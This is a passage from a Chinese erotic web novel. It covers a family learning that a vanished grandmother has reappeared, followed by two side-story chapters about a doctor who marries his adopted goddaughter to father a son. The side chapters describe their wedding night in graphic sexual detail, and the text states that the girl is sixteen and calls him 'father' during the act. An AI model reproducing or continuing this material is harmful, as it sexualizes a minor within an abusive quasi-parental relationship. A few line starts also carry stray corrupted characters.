  妈妈也被妹妹母女逗的乐不可支了,连连道:“哎哟……哎哟……你们母女俩啊!小茹,你绕了莹莹吧。莹莹你也不对,怎么可以和妈妈开这种玩笑呢!”
  妈妈在家中是威望最高的,连她都出面调解,顿时就把场面压下来了。再说啊妹妹也只是一时窘迫,现在大家都为莹莹求情,也就不在认真计较了。不过还是虎着脸对着莹莹说道:“不许有下次!”
  莹莹也很配合,耷拉着脸,可怜兮兮的答道:“人家知道错啦。”
 〈着自己女儿装可怜,妹妹掌不住,“扑哧……”
  笑了出来。莹莹立马阴转晴,冲到妹妹怀里撒娇。
  姐姐看了半天戏,这时才突然想起来芹儿和兰儿还没回来,于是问妹妹啊:“小茹,芹儿和兰儿人呢?”
  妹妹被姐姐问得一愣,突然一拍脑袋:“哎哟,都是被莹莹这个小妮子闹的啊,差点把最重要的事情忘了。”
  说完,把声音一沉,神秘兮兮的看着大家道:“你们猜我下午遇到谁了?”
  “谁知道你遇到谁了。我只知道你把芹儿和兰儿丢了!”
  “姐,你别打岔。”
  妹妹咽了口气,道:“你们肯定猜不到。嘿嘿,我下午遇到外婆了!”
  “什么?”
  我和妈妈同时站了起来,都被这个消息惊呆了!妹妹竟然遇到外婆了!
  “你怎么会遇到外婆啊?在哪里遇到的?外婆人呢?”
  我有点不能抑制,一连问出了几个问题。
  妈妈和萍儿也是满脸期待的看着妹妹,妹妹看到大家吃惊的表情,得意的笑了笑:“别急,且听我慢慢道来。”
  原来今天下午,妹妹因为要带莹莹去医院检查,上完一节课后就准备带着莹莹走了。
  如果去完医院在回学校接芹儿她们,时间就太晚了,所以妹妹决定现在就去跟芹儿她们班的班主任请个假,让芹儿跟她一起走。
  妹妹让莹莹在教室里等她一会,她自己一个人就去了芹儿所在的班级。
  芹儿她们的班级离妹妹所在的办公楼有一段距离,中间有一条石子甬道,平时没什么人走。
  妹妹为了快一点,就没走大路,顺着这条小道就过去了。谁知小道刚走一半啊,突然感觉背后刷的一声,好像有什么东西飞过,她回过头去看了下,发现什么都没有。
  妹妹笑着摇了摇头,以为自己出现幻觉了。转过头来,登时吓了一跳——她面前站着一个人,确切的说是一个女人。
  妹妹被面前突然出现的人吓得魂都丢了半个,暗想:“难道大白天见鬼了啊啊。”
  正待她要叫出声来,面前那人却是素手一挥,妹妹立马就作不得声了。
  妹妹正惊恐万分,面前那女人却道:“小茹,是我!”
  听这声音很是耳熟,妹妹这才仔细打量眼前的女人:“年纪嘛,好像二十,又好像三十,身着一件紫色古装裙。柳眉弯弯,俏鼻挺挺。”
  眉目间像极了一个人,双眼带着笑意看着妹妹。
  妹妹突然间恍然大悟,却又是不确定,小心翼翼的问道:“你是啊啊……外婆?”
  那女人笑道:“难为你还记得我。”
  妹妹大喜抓住女人的胳膊道:“你真是外婆!外婆你这么多年去哪里了?你知道我们多想你嘛!当年你不辞而别,你知道我们有担心嘛?妈妈和哥哥找了你三年,却始终没有音讯,要不是因为你当初留下的那封信,我们还以为……”
  “以为我死了,是吗?”
  “……外婆,你到底去哪里了吗?还有,你怎么看起来这么年轻,我记得外婆你应该六十了吧。还有,你身上穿的是怎么回事啊?”
  “小茹,你先别问这么多。时间紧急,你听我说。我现在要把那两个孩子带走……”
  “带走?外婆你要带谁走?去哪里?不对!外婆,你还要走?你又要去哪里啊?不行,我不让你走!我们大家都想死你了,你这次可不能走了。”
  妹妹紧紧的抓着外婆的胳膊道。
  外婆苦笑道:“就是芹儿和兰儿,我不会伤害她们的。至于我嘛,现在还不到我和你哥哥见面的时候。”
  “为什么啊啊啊?难道你不想哥哥嘛,不想妈妈吗?反正我不管,我不让你走!”
  “小茹,别闹了。这次我真的有非常重要的事情要带那两个孩子离开一段时间。过不了多久,我就会把她们送回来的。”
  “外婆,你不要走好嘛,我们真的很想你。有什么事情可以和我们说啊。”
  “傻孩子,我也想你们啊!不过现在我真的不能和你哥哥见面!”
  “为什么啊?哥哥有什么不对吗?”
  “不是他有什么不对,是我自己的问题。”
  “外婆,到底发生什么事啦?”
  “唉……冤孽啊!”
  外婆沉默了一会,然后好像下定决心一般,“小茹,你不要问了,我现在是不会说的,我也不会去和你妈妈哥哥见面的。”
  妹妹见劝服不了外婆,顿时垂头丧气,眼泪都掉下来了。从型是外婆带着她和哥哥长大,外婆就等于自己和哥哥的第二个妈妈。那时候因为那个可恶的人啊,自己和哥哥出生不到三个月,就从家里送到了外婆那。外婆把他们养大,教他们识字,可以说,在六岁之前,自己从来都是把外婆当作妈妈的。后来外婆突然离去,自己和哥哥伤心了好久,还因为这件事和哥哥也闹了好久。现在外婆终于回来了,原希望外婆能够留下来,没想到她还是要走,这让妹妹怎么能不伤心啊!
 〈着自己从小带大的孩子对自己如此的依恋,柳玉英也是万分不舍,可一想到那件事却又不得不狠下心肠。
  “小茹,你别哭了。”
  柳玉英轻轻的把小茹脸上的泪水拭去。
  “外婆……外婆……你别走,好吗?小茹想你!”
  柳玉英听着小茹的泣声,心中也是愁肠百转。只得轻声道:“外婆这次离开啊,少则一个月,多则三个月就会回来了。到时候我外婆就再也不走了!”
  心里暗暗加一句,如果事情顺利的话。
  “真的?”
  小茹猛的抬起头来,满脸希冀的看着柳玉英。
  “真的!外婆怎么会骗你呢。”
  “那……好吧。小茹相信外婆。”
  小茹脸上露出了笑容,扑进了柳玉英的怀里,紧紧地抱着她。柳玉英摩挲着小茹的后背,心中感慨万千:“上天啊,信女祈求你这次能够让我成功吧。”
  “对了,外婆,你要带芹儿她们去哪啊?”
  趴在柳玉英怀里的小茹突然问道啊。
  柳玉英望着天边,喃喃说道:“去办一件非常重要的事……”
  “然后呢?”
  我皱起了眉头。小茹耸耸肩道:“没了啊,然后外婆就带着芹儿和兰儿离开了。”
  “怎么可以没了啊?外婆也没有说去哪里吗?为什么一定不能见我?这些你都没问清楚啊?”
  心情压抑的我,语气也开始不善。
  “我问了啊,可外婆就是不说,我有什么办法,你对我凶什么凶啊。”
  妈妈在旁边深深的叹了口气,望着我道:“晨儿,既然你外婆现在不愿意回来,肯定有她的原因。她不是说多则三月少则一月就回来了嘛,我们还是耐心等待吧。”
  我还是一直疑惑外婆一直强调的东西:“为什么不能见我?为什么又要把芹儿和兰儿带走?难道芹儿和兰儿身上有什么特殊?应该不会啊,那为什么非得是芹儿和兰儿,菁儿她们为什么就不行?再说外婆走的时候芹儿和兰儿还没出生呢啊,甚至妈妈都不曾怀孕。外婆啊!外婆,你到底藏着什么秘密啊?”
  “对了,哥,外婆说有句话让我带给你。”
  “什么?有句话带给我?你怎么不早说,外婆要你告诉我什么?”
  “外婆就说了三个字,她说你一听就明白了。”
  “到底是什么?”
  “融血丸!”


第五章 外传一
  大门洞开,厚重的门上贴着大大的“双喜”门两旁高高的挂起了红灯笼。
  来往的宾客踏着初雪,络绎不绝地从这扇门进进出出,大都抱着各式各样的礼盒。今天是韩先生第四房太太进门的大喜日子,但奇怪的是,这些送礼的人却没有一个留下来吃喜酒的。
  “哎哟,前面的可是张哥?”
  一个下身着喇叭裤、上身夹克的年轻人叫住了前面的一个中年男人。
  “你是谁啊?”
  被叫住的男人拧着眉毛问道。
  “我啊,哎呀,你忘了嘛,我小猴子啊!”
  年轻男子忙不迭说道。
  “小猴子?你是小猴子?你都长这么大啦!变样咯,变样咯。你回来了,啥时回来的?”
  那个男人扯了扯身上的藏青色的棉袄皱眉道。
  “我这不是回家过年的嘛。这刚过完年,韩先生娶小老婆,家里老的非得让我到这送礼来。”
  年轻人边说边从兜里掏出一包“黄金树”恭恭敬敬的给中年男人敬上了。
  “呵呵,你一走七八年,现在出息了,都抽得起黄货啦?”
  张哥也没客气,拿起一根叼在嘴上,让小猴子点上。
  “没有没有,也就是瞎混混。”
  小猴子客气了一句,“张哥,你说这韩先生家是怎么回事啊?这大喜的日子,只让我们进门,别说新娘子没得见,连杯喜酒都没喝着。”
  “嘘……小点声,韩先生能收我们的礼已经是很给我们面子了,本来……”
  张哥声音减低,虚着脖子道:“本来韩老太爷是连礼都不收咱们的,但韩先生觉得不合适,这才折中取了这个法子。”
  小猴子轻好奇道:“这是为啥啊?”
  “你这些年不搁家,有些事儿你不知道啊。”
  “哦?那张哥你给我讲讲呗。”
  “嗨,眼看这都饭点了,喜酒是吃不上了。你也好不容易回来一趟,走,张哥带你去得意楼喝酒去,咱们啊,边喝边聊。”
  “得嘞,这主意好。不过哪敢让张哥请啊,该我孝敬张哥。咱们走着?”
  “行!”
  二人到的得意楼,得意楼老板笑着迎上来:“哟呵,张四,你这大过年的不在家陪老婆焐坑,出来闲逛什么?”
  “滚你妈的,你胖狗都能下得了坑,就不许我出来讨口酒喝啊。”
  小猴子陪着二人说笑一番,胖狗突然低声问说:“怎么样了?”
  “礼是收了,可这喜酒没喝上。不过韩先生也算是给我们面子了,知足了。”
  “也难为少爷了,唉……”
  “行了,别唉声叹气的了。这大过年的,我带着这小子来你这吃鲜货来了,你可别掉链子啊!这小子这几年可是在外头走南闯北的,是见过大世面的人。”
  “得了,别废话了,我什么本事你不知道?”
  “行,那就来两人份的,加一个乱炖,把你糟的信子上一盘,要三个月的啊。然后……”
  “荷鱼要不要来一份?”
  “现在能有荷鱼?别是糊弄我的吧?”
  “哪能啊,是你嫂子把今年夏天下的荷叶都收拾了,藏的好好的,一般人来了,我都不告诉他,你看菜单上都没有。”
  “行,那就来一份,就这些吧。把你家后院的酒挖一坛子来,我要梧桐下面的。”
  胖狗皱了皱眉头,道:“张四,你发财了?菜钱可以便宜,这酒钱可是一个子儿都不能少的啊!”
  张四沉吟了下,道:“那就柳树下的吧,不过要靠里的。”
  “行,没问题。”
  胖狗很干脆。
  不一会,酒就上来了,糟信子也盛了满满的一盘,胖狗还送了一叠子的醉儿果,二人就着这些,渐渐聊开了。
  “张哥,韩先生家里到底是怎么回事啊?年前我回来的时候就听到些风言风语的,韩先生怎么又娶了一房老婆?新娘子什么来头?”
  落座之后,小猴子忙给张哥满上一杯酒,笑着问道。
  张哥叹了口气:“你也好些年头不在家里,有些事情你自然不清楚。这事还不是韩老太爷逼的。韩先生有三房媳妇儿,却一个带把的都生不出来,养了四五个闺女了。”
  “韩先生还没得儿子啊?张哥,你说韩先生那么大的本事,怎么不给自己看看呢?”
  小猴子接口道。
  “你懂啥!这叫能医不自医。这眼看着韩老太爷已经见着下面的光景了,韩先生又是个孝子,只好再娶个媳妇,或许能生个儿子呢。”
  张哥呡了口茶水续道“说起来,这新娘子你也认识呢。”
  “我也认识?是谁啊?本地的?”
  小猴子皱眉道。
  “何止是本地的,还是家生养的呢。”
  “我的张哥嘞,到底是谁啊,您就别卖关子了,赶紧说啊!”
  张哥看到小猴子着急的样子似是很满足,压低声音说:“你小时候为了哄人家开心,让人家骑着跑了半个镇子,你忘啦?”
  小猴子一愣,“哎哟”一声叫了出来:“是那个姑奶奶啊,可她今年才多大啊?再者说,她不是……”
  “嘘……”
  张哥见小猴子差点说出了不得的话,连忙压住话头:“瞎嚷嚷什么呢!当年那孩子也只是被人撇在韩家门口的,不是他们自家的孩子,再者韩先生也只是口头说说,又没告天地敬祖宗,也没啥不合适的。”
  “哎哟,两位咋还咬起耳朵了?有什么发财大计,别藏着掖着呀。”
  蓦地一个声音响起来了。
  “你滚边去!小猴子给我讲路子呢,没你什么事啊!你这个饭店还不够你耍的啊,真不愧你的狗鼻子,闻着钱味就跟过来了。”
  张哥也随口笑骂几句,胖狗把荷鱼放下,笑道:“行行,荷鱼得嘞。那我就不打扰两位了,那玩意儿耗火候,得等会,你们哥俩喝着吧。”
  说完,径自去了。
  这边小猴子见老板走了,给张哥倒了杯,忙不待问道:“”那萍丫头就能答应?““这有啥不答应的?韩先生不用说,那样貌、人品、家世,哪样不是拔尖的。”
  “哎呀,我不是这个意思。我不是说韩先生的不好,韩先生是什么样的人,别人还可能不清楚,我还不知道啊。当年我老子就是他救的。只是韩先生今年也有四十多了吧,这年纪差太多了吧。”
  “哪有多,早些时候七十多的老头娶十几岁黄花闺女也不到处都是?”
  “我还是奇怪,韩先生要是想娶老婆,那些年轻的小姑娘不都挤破头了,干嘛非得挑这么个小丫头啊?”
  “哎……这事啊,还得落在韩老太爷身上。”
  “哦?那张哥给我好好说道说道,就着别人家的事,咱们也多喝几杯,来,小弟敬你。”
  张哥一口闷掉,吧咋下嘴巴,很是意犹未尽,待到小猴子又给他倒了一杯,这又开了腔:“韩先生不给人治病的事,你也听说了吧?”
  小猴子点点头。
  “大概六年前吧,韩家来了个要饭的和尚,说是来和韩先生比赛治病的,后来好像比输了,就留在了韩家打杂。在韩家待了一段日子,不知用了什么法子哄住了韩老太爷。说什么,韩先生生不出儿子就是因为他救了太多人,阎王爷不高兴了,就罚他生不出儿子。”
  听到这,小猴子撇嘴道:“怎么还有人信这些牛鬼蛇神啊?”
  “谁知道呢,哎……”
  张哥叹了口气,“打那起,韩老太爷就逼着韩先生不再给人治病,还专门贴了通知呢。后来有从外地赶过来看病的,都被撵回去了,前几年人还多,这两年才慢慢少了。萍丫头听说就是那个和尚定的。”
  “那这么说,不摆喜酒也是那个和尚的主意咯?”
  “嗯]说新娘不好见生人,韩老太爷索性就连喜酒都省了。本来我们的礼也都不收的,后来还是韩先生求了老爷子,这才允许我们送礼去。你说,我们这些邻里相亲的,谁没受过韩先生恩惠啊,要是连礼都不收,我们心里过不去啊。”
  张哥又喝干一杯,微微叹了口气。
  听得张哥说完,小猴子跟着叹了口气。
  依稀记得当年上了那个丫头的当,让她骑着从韩家前门一直爬到后门。那时,自己老子从山里抬出来,眼看就要不活了,众人手忙脚乱的送进韩家。自己十岁出头,只知道大嚎着跟在大人后面乱跑,等到自己老子送进去之后,就一个人站在韩家院子里发呆,老子在里面生死不知,老娘又昏倒了,他自己觉得也要昏到了。
  后来,六七岁的她从屋子里窜出来,骗自己说要想治好你爸,就得給我当大马骑,不然,她就不叫干爹救他爸。自己当时想都没想就答应了,尽管最后韩先生知道了狠狠地骂了她一顿,但自己一点也不恨她,因为当时她给了自己希望:只要我能爬到后门,我爸就好啦!
  谁曾想,当初那个站在自己面前,掐着腰,指着自己鼻子呼三喝四的人,突然就要嫁人了,小猴子心里猛的有点不舒服,仰头直接干了一杯。
  二人沉默了一会,胖狗端着一盘热气腾腾的东西进来了。
  “好了,两人份的,慢吃啊。我后头还忙着呢,先出去了啊。”
  胖狗放下海碗,离开了。
  “嘿嘿,小猴子,咱也不说人家的事了,但愿韩先生这次能生个大胖小子吧。说说你嘞,你这几年去哪发财了?”
  张哥首先打破了沉默。
  “哪儿啊,哪发什么财啊,混口饭吃罢了。不过这些年的确去了一些地方……”
  声音渐渐欢快,二人推杯换盏,喝了个不亦乐乎。
  入夜,韩家祠堂。
  一个老人站在一排牌位前恭敬地上着香,身后跪着一个中年男子。面容儒雅,气定神闲,隐隐皱着眉头。
  老人上香已毕,也跪在地上对着牌位道:“韩家列祖列宗在上,不肖子孙韩重携子韩衡给祖宗磕头了。求祖宗保佑我儿此次诞得麟儿,以承我韩家血脉……”
  韩衡在后面微微叹息一声,尽管他妙手回春,尽管他学贯中西,可这生儿子的事着实不是他能掌控的。以前韩衡读医书的时候,曾得到一秘方,教人如何生女,却没有教人生儿子的方子啊。他也就那个方子研究许久,希望能有个眉目,可最终他还是不得头绪。
  老人的话说完了,韩衡忙起身上前将老人扶起。
  “衡儿,我知道这事不甚妥当。我也没法子,为了我们韩家血脉,就委屈你和萍丫头了。”
  老人面色黯然,“好了,快去吧,别让萍丫头等久了。”
  韩衡点一点头,道:“好的,爸。夜深天凉,你也早点休息。”
  又回头冲着门外叫道:“七叔,你扶我爸回去歇着吧。”
  “好的,少爷。”
  门外有人应道。
  韩衡来到萍儿的房间外,正在犹豫要不要进去,忽听得里面传来说话声。
  “芳姨,那个真的很痛吗?”
  是萍儿的声音。
  “萍儿,以后可不能再叫芳姨了哦,要叫姐姐,再说我本来就比你大不了几岁。”
  这个是自己的第三房老婆,林芳儿。
  “芳……芳姐,人家还不习惯嘛。”
  听着这个声音,韩衡差点都怀疑自己听错了,几日不见,这丫头怎么变得这么婉约了。
  “好孩子,难为你了。”
  林芳微微一叹。
  “芳姐,你还没告诉我呢?做…做那事是不是很疼啊?”
  一遇到这个问题,萍儿似乎又害羞了。
  “呵呵…”
  林芳轻笑了声,“你这个丫头平日里疯来疯去的,现在怎么怕起疼来了?”
  “什么?我才不怕疼呢,我是谁啊。”
  这句话,萍丫头回来了。
  “好啦好啦,知道你厉害啦。放心,不怎么疼的,跟被蚊子咬了一口似的。”
  然后,林芳把声音压低了,小声的嘱咐起来,韩衡自然知道她要说什么,便在门口耐心的等了十几分钟。
  “笃笃”韩衡轻轻敲响了房门,里面声音一下子消失了。然后听到林芳提声问道:“是衡哥吗?”
  “嗯,是我。”
  韩衡说完这句,里面开始“窸窸窣窣”一阵声响,林芳又道:“衡哥,你等一下啊。”
  很快房门打开,林芳从里面走出来,对着韩衡抿嘴一笑,低声道:“温柔点。”
  饶是韩衡涵养功夫一流,听到这句话面色也不禁一红。林芳轻掩嘴唇,把韩衡推进房间,关上门径自离去。
  屋内红烛泣腊,春意盎然,萍儿一身霞帔静静的坐在床上。韩衡觉得嗓子眼微微有点发干,缓步来到床前。听到屋子里另外一个人靠近自己的脚步声,萍儿的手都快把自己的裙子绞破了。
  韩衡伸出右手,刚碰到盖头,面前的人儿呼吸声蓦然急促,韩衡觉得自己的手竟然有点发抖。注意到这个情况的韩衡有点苦笑不得,自己的手拿针都不会抖,而且洞房也有三次了,现在怎么像个毛头小子一样。韩衡稳了稳,轻轻捏住盖头的一角,慢慢掀开,里面的人一下子屏住了呼吸。
  红绸轻启佳人现,但见:一汪秋水似泣非泣,两弯柳叶欲蹙非蹙;粉腮乌发,俏鼻挺挺,唇似点绛;娇躯在喜服的掩映下,摇摇欲坠。
  萍丫头长得很漂亮,这个韩衡一直都知道,但他却没想到,这个从小调皮捣蛋让自己头疼的丫头竟然出落的如此美丽。韩衡心中又是高兴又是失落,好像突然意识到萍儿已经长大,然而自己虽不是行将就木,却也年逾不惑,如此想着,柔肠百转,一时间竟愣住了。
  萍儿见眼前人掀开自己盖头之后便没继续的动作,胸口猫抓一样,偷偷拿眼睛瞥了一眼,见他竟然站在那里一动不动,好像陷入了沉思。萍儿心下似恼还羞,琢磨着不能一直这样下去吧,轻声嗫喏道:“干爹…哦,不对,衡…衡哥…”
  一句话没说完,萍儿已经羞得头快垂到胸口了,心中恼怒万分,一张嘴就叫错了,错了就错了嘛,干嘛又说了句“不对”啊,气氛全被自己破坏了。
  韩衡从沉思中回过神来,看着萍儿咬牙切齿的模样,不禁莞尔:这丫头……
  心中怜意大起,抛开脑子里的一些有的没的,今天怎么说都是自己和萍儿的大喜日子,要好好待她。
  韩衡转身从桌上拿起两杯酒,贴着萍儿坐在床沿儿上,轻声道:“萍儿,我知道委屈你了。本来干……咳……”
  韩衡也一时语塞。
  沉默良久,萍儿开口了:“衡哥,我不委屈,我……我愿意的。”
  萍儿知道自己小时候被这个男人所救,又被他养大成人,爷爷对自己也很好,难道自己不该报答他们吗?别人都说干爹生不出儿子,说不定我能帮干爹生一个儿子呢。那个光头那么大本事,他都说自己肯定能帮干爹生儿子的。
  韩衡听到萍儿告白似的话,不禁也有一丝欣喜。拉起萍儿的一只手,将酒杯交到她手中,道:“萍儿,喝了这交杯酒,你就是我的妻子了。”
  萍儿双颊酡红,感受着韩衡手上的温热,整个人都愣住了,任由韩衡帮着她把交杯酒喝完。
  等到萍儿反映过来时,韩衡已经把酒杯收拾好,外套也脱掉了,只穿了衬衣重新坐到床上。
  要开始了!萍儿的心提到了嗓子眼,她努力让自己的心平静下来,想着刚才林芳姐姐告诉她的话,可韩衡就在旁边,让她怎么好意思脱衣服啊,一时间纠结不已,只好像根木头似的一动不动。
  孰不知韩衡也正头疼呢,他也不知道如何开口。但二人总不能这样一直坐着吧?韩衡暗自苦笑,深吸一口气,道:“萍儿,我去给暖炉加点煤,夜里暖和一些。”
  说完起身去捣腾暖炉了。
  萍儿见韩衡转身背对自己,赶忙把身上的喜服、紫鼠皮的衬子一股脑都脱了,只着贴身的内衣,钻进被窝,把被子往头上一拉,藏了起来。
  韩衡听着背后终于消停下来,又等了一会,方才转身。
  床上绣着鸳鸯的大红被子玲珑起伏,韩衡一呆,这丫头还是挺不怕羞的嘛,转念又觉得自己太过小心翼翼了。于是走到床前,关掉灯,只留两根红烛,慢慢除去自己的衣服,也掀开被子钻了进去。
  被子下面温香满怀,韩衡没想到萍丫头这么胆大,竟然几乎都脱光了。隔着内衣,似乎也能感受到萍儿背部光滑的皮肤,加上满鼻的馨香,韩衡的鸡巴慢慢涨大。从背后把萍儿抱住,此时韩衡已经不去想太多,既然已到了这个地步,萍儿也不反感,那就让自己好好的去疼爱她吧。
  缓缓把萍儿转过身来,幽暗灯光下,萍儿双眼紧闭,身体僵硬。韩衡知道萍儿的紧张,心里想着自己不能太过急色,否则真有可能吓着这只可怜的“小兔子”韩衡慢慢将嘴唇覆在萍儿的额头上,甫一接触,他明显感觉到萍儿的身子震了一下。萍儿只觉额头上一块温软湿热的东西贴上来,她知道那是韩衡再亲她,可芳姐姐不是说是要亲嘴巴的嘛?
 ⊥在萍儿纠结之时,韩衡的嘴唇已经顺着萍儿的弯眉、眼睛、鼻子一路下来了,终于在萍儿的嘴唇上空停了下来。萍儿的眼睛闭的更紧了,鼻息急促,双手死命抓着被子。韩衡缓缓将盖在二人身上的被子拉下,烛光下,萍儿娇俏紧张的小摸样让他的心脏几乎都揉碎了。
  他右手轻抚萍儿的发髻,嘴唇在萍儿的嘴巴周围轻轻的点着,时不时的伸出舌尖偷偷的舔一下;左手环住萍儿的身子,在她光滑的背上慢抚。
  渐渐的,韩衡感觉的身下的人儿不是那么的紧张了,他开始逐渐向萍儿的嘴唇上靠拢。终于四唇相接,两人似乎都被那种感觉震住了。
  萍儿娇嫩的嘴唇微微颤抖,略微有些干燥;而韩衡的嘴唇混厚,带着丝丝的湿气。二人心中满是对方的气息,一时间情欲大涨,萍儿似是逐渐想起刚才芳姐姐教导的那些话,开始迎合起韩衡来,而韩衡也渐渐放开压抑的兴致,双手慢慢无所不至,在萍儿滑若凝脂的肌肤上来回游走。
  萍儿第一次尝试唇舌相接的滋味,一时间陶醉其中,她似乎觉得干爹的嘴巴里有微微的甜意,这味道让自己乐此不疲。
  而韩衡早已攻占了萍儿胸前的高地,左手从萍儿的胸前小衣下面伸了进去。
  萍儿的乳房堪盈一握,细细的皮肤仿佛要从韩衡的手里滑出去。韩衡不敢太过用力,只是柔柔的捏着乳房、柔柔的搓着那颗樱桃,然后右手从萍儿的颈后除去了萍儿的胸衣。
  胸衣既去,萍儿浑身上下所着的仅剩一条小小的内裤。韩衡嘴里尝着温香,怀里抱着软玉,那情欲早就昂昂不可止了,鸡巴隔着内裤硬硬的顶在萍儿的大腿上。
  萍儿早就感觉到有个东西抵着自己了,她知道那是干爹的那个东西,好几次她都想像芳姐姐告诉自己的那样,伸手去握一握它,可最后都是没能鼓足勇气。
  这边,韩衡已偷偷勾起了萍儿的内裤边,一根手指溜了进去;萍儿还在犹豫要不要去握一握干爹的鸡巴,自己的小屄已然失守,顿时心神具失,也忘了要去抓干爹的鸡巴了。
  韩衡心下诧异:按道理讲,萍儿今年十六岁了,应该已经长些毛发了,既然现在没长,那就说明萍儿是个“白虎”了。民间自有“白虎克夫”的说法,可韩衡是不信的,再联系那个和尚的一些话,韩衡渐渐觉得或许自家的血脉真的就落在了萍儿的身上了。
  韩衡的失神只是一愣的功夫,既然已经到了洞口,怎能不一窥全貌。手指微微往前一探,萍儿“嘶……”
  的一声,似是略有些痛意。
  岂知这一探之下,又把他惊了一下。


第六章 外传二
  韩衡自幼饱读医书,于一些孤本杂家上也颇有涉猎,知道自古以来就有“名器”的说法。不过他从未往心里去过,但此时却是有些疑惑,萍丫头的小穴光洁无毛,内里紧窄难行,爱液滑腻难当,堪堪像是自己之前书中读到的“玉吐珠”的模样。韩衡搓了点爱液往鼻前一凑,隐隐有馨香传来,更加确定萍丫头的小穴应该就是名器“玉吐珠”了。
  萍儿小屄失守,本来已是迷迷糊糊的了,但感觉到韩衡竟很快的把手指收了回去,半天没有动静,心里逐渐平静下来。偷偷张开眼睛,发现韩衡竟然在闻自己的手指,指头挂着的一丝粘液,赫然便是自己下身的东西了。萍儿见韩衡闻着自己下身的东西,眉头微蹙,差点哭出来了:“干……干爹,我……洗的很干净的,我……你……哎呀,你别闻了啊!”
  话音未落,抢出手去,把韩衡的手从他鼻子下面拉到自己怀中。
  韩衡见萍儿如此模样,心下莞尔,也不多做解释,扭头又吻上了萍儿的嘴唇,双手不停动作,不一会两人便赤身相拥。
  韩衡轻身压在萍儿身上,一只手扶着自己的鸡巴在萍儿的小屄口上轻点慢擦,萍儿此时七魄三魂具失,连气儿都不会喘了,小心肝迷迷荡荡不知飞到哪里去了。
  不多时,下身一阵剧烈的疼痛让萍儿缓过神来,小屄好像被撕裂开来一样,一个大南傍国戳进自己的小屄里。萍儿顿时不干了,大叫道:“妈呀……疼死我了!干爹,我不要了,呜……芳姨骗我,这……这哪像蚊子咬,这是被狗咬了……干爹,你快拔出去,我不要了,呜……别进去啦,你……你……你再不出去,我咬你啦。”
  韩衡被萍儿的一段话弄得哭笑不得,不过他知道,此时正是关键时刻,万不能拔出来,不然会更疼,还可能会给萍儿留下心理阴影。当下,细细的吻住萍儿的嘴巴,在萍儿小巧的乳房上轻轻地揉捏着,试着让萍儿平静下来。
  萍儿本来打算要张嘴咬韩衡的,谁让他让自己那么疼,还没张嘴,嘴巴就被堵住了,刚好,上下牙齿一合,韩衡的下嘴唇立马见血了。
  韩衡遭了这一咬,冷汗差点下来,鸡巴受了这刺激,放佛又涨了一圈。不过自己捅了她,让她咬下也没什么。不过话说回来,洞了那么多次房,还是第一次自己见血。
  萍儿这一口咬下去,心里舒服多了。准备再咬第二口的时候,突然发觉嘴里一股腥味,忙得松开一看,韩衡的嘴巴已经被她咬出了一个伤口,心下惴惴,很是不安。但嘴上却是不饶人的,嗫喏道:“谁……谁让你把我插的那么疼的啊!”
  已然没了刚才的气势了。
  韩衡也不知道该怎么和这丫头说话了,只好闷不吭声,努力挑起萍儿的情欲。
  好歹,萍儿一会便迷失在韩衡的调情手段中,眼神愈发迷离了,也没了刚才凶巴巴的模样。
 …历了刚开始的“阵痛”两人渐渐入的巷来。韩衡只觉萍丫头的小屄好像一个小嘴一样,一直在紧紧咬着自己的鸡巴;尽管萍儿的爱液充沛,可每次进入的时候,都像是第一次插入一样,异常难行。韩衡记得一本残本上曾记载:“玉吐珠”者,白虎之象,泌液如玉,纵经百战,亦如新瓜出破……眼下看来,即便以后多歇在萍儿房里,萍儿的小屄怕还是像今天一样夹的他鸡巴疼。不过心里却是暗自欣喜,每次和萍儿行房怕是都要体会开苞的快感了,不过不知这丫头会不会像今天这样还要咬自己。
  此时,萍儿尽管觉得小屄还是有些疼,但已经可以忍受,反正不再有想咬人的冲动。而且韩衡的鸡巴一次次的抽出、插入,自己的灵魂也就随着这抽插从自己身体里一进一出,根本无暇顾及那一丝的疼痛。
  韩衡正操弄的痛快着,突然觉得身下的人儿身子抖了起来,小屄里也开始抽搐,抓住自己的鸡巴不许它出来。韩衡心里诧异:难道这小妮子要来了?不过还从未遇到过这样的情况,深处传来一股巨大的吸力,蜜穴紧紧咬着自己的鸡巴。
  正刹那间,萍儿带着哭腔失声大叫:“干爹……爸啊……要尿了……爸爸……萍儿要尿了……”
  韩衡本就被这股吸力逼到了边缘,听得萍儿嘴里“爸爸、爸爸”的呼喊,脑子里蓦然闪过自己的几个女儿的面孔,愣神间,脊背一紧,会阴处酸麻难忍,便奋起最后的力量,直抵萍儿的蜜穴深处,“突、突……”
  的开始发射。
  仿佛过了好久,韩衡终于回过神来。这次射精是他以前没有感受过的快感,好像要把整个人都射出去一样。云消雨歇,韩衡伏在萍儿身上久久不愿起身。尽管是残冬,但二人身上都是细汗淋漓,萍儿高潮是眼泪都下来了,红润润的脸上布满了汗水和泪水,恰似新荷带露一般,呼吸急促,眼睛紧闭,头发因为刚才的疯狂也是乱蓬蓬的一遭。韩衡拿过旁边的毛巾细细地把萍儿脸上擦拭干净,又慢慢起身,把自己的鸡巴从萍儿的蜜穴中抽出,顿时,精液混杂着萍儿的爱液一涌而出,中间带着丝丝红色。韩衡用萍儿屁股底下的丝巾把这些都擦拭干净,珍而重之的叠好这块“绣帕”起身下床,翻弄了下暖炉,吹熄蜡烛,重又上床,小心翼翼的搂过萍儿,此时的萍儿早已不知何时睡去了,在韩衡的怀里无意识地扭了扭,便又沉沉睡去。韩衡抚弄着萍儿光滑略带湿意的后背,睁着双眼看着这黑暗,思绪万千……
  次日,等韩衡稍有意识的时候,窗外已是晨光熹微,看来,几天的飘雪也已经停了。迷迷糊糊间,双手一搂,竟然抱了个空!韩衡立马清醒了,忙的睁开眼睛,看见萍儿光着屁股趴在床的最里面,上半身倒是让被子包裹的结实。韩衡无奈的摇了摇头:这丫头,睡觉还是这么不老实,在自己怀里都局不住她,幸好昨晚临睡前又加了点煤,不然冻死这个小丫头。没办法,韩衡笑着把萍儿从里面扒拉出来,抱在怀中,盖好被子,朦朦胧胧的又睡着了。
  不知过了多久,韩衡觉得自己的鸡巴被一只手抓着,耳朵里还听到断断续续的声音:“叫你凶,昨天不是插我插的很开心嘛!咦,又大了?再凶,我就一口吧你咬掉,让你见识见识本姑娘的厉害……”
  韩衡听得啼笑皆非,自己虽是步入中年,但一直注意养生之道,兼之此时又是清晨,男人晨勃的现象哪是自己能控制的了的。睁开眼时,阳光已经照到窗前了,今天终是个晴天。有心想就这样起来,又怕薄了小丫头的面皮,只好假装还没睡醒,轻声“唔”一声,挪了下身子。
